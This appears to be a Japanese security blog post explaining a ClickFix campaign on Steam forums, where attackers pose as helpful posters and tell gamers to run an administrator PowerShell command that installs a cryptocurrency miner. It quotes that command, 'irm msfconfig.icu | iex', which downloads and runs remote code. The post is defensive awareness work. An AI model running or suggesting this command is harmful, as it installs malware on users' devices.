SteamフォーラムでのClickFix：悪意あるPowerShellコマンドが仮想通貨マイナーをインストールする仕組み

今年、ClickFix攻撃が爆発的に増加しています。犯罪者の間で非常に流行しており、あるバリエーションについて書き終える前に、次のバリエーションを取り上げる時期が来てしまうほどです。

今回、攻撃者はゲーマーを標的にしています。技術ジャーナリストが、Steamフォーラムで悪意のあるヒントを拡散させる投稿を発見しました。これらの投稿がどのようなものか、どのようなマルウェアの拡散に使用されているのか、そしてデバイスを安全に保つ方法について解説します。

ClickFixがSteamフォーラムに侵入

多くのゲーマーは、難しいクエストの攻略法、レベル上げ、最高の戦利品の獲得方法、バグの回避策などの助けやアドバイスを求めて、Steamフォーラムの仲間に頼ります。攻撃者が悪用しようと決めたのは、まさにこのコミュニティのアドバイスに対する信頼です。

攻撃は、ゲームのクラッシュ、インベントリアイテムの消失、その他の技術的な問題に関する誰かの質問に犯罪者が返信することから始まります。親切な投稿者を装い、PowerShellを管理者として開き、ユーザーが抱えている問題を解決すると称するコマンドを実行するように勧めます。

トラブルシューティングのアドバイスを装い、悪意のある攻撃者はPowerShellを管理者として実行し、ユーザーの問題を解決すると称するコマンドを実行することを提案します。 ソース

ご想像の通り、コマンドを実行しても何も解決しません。それどころか、新たな厄介な問題を引き起こすだけです。これこそがClickFixの背後にある考え方です。ソーシャルエンジニアリングを使用して、被害者に自分自身で安全でない操作を実行させ、詐欺師がデバイスを侵害するために必要なものを与えるよう仕向けます。これまでにも、偽のCAPTCHAや偽のブラウザエラーなど、他のClickFixの手口を取り上げてきましたが、これらはいずれも被害者に自ら悪意のあるコマンドを実行させることに依存しています。ClickFix攻撃のさまざまなバリエーションについては、以前の投稿で詳しく説明しています。

SteamフォーラムでClickFixを使用する巧妙な点は、助けを求めたプレイヤーだけでなく、同じ問題に遭遇しGoogle検索で答えを見つけた他の多くのゲーマーも被害に遭う可能性があることです。

クイックガイド：irm | iexコマンドの正体

攻撃者が実際にゲーマーを騙して何をインストールさせるかについて触れる前に、いくつかの技術的な背景を説明する必要があります。まず、Steamフォーラムの投稿は、疑うことを知らない被害者候補に、PowerShellで次のコマンドを実行するようにアドバイスします。

irm msfconfig.icu | iex

PowerShellに詳しくない人にとって、この行はかなり無害に見えるかもしれません。いくつかの追加パラメータを伴う、Windows内蔵のシステム構成ユーティリティであるMSConfigの起動に似ています。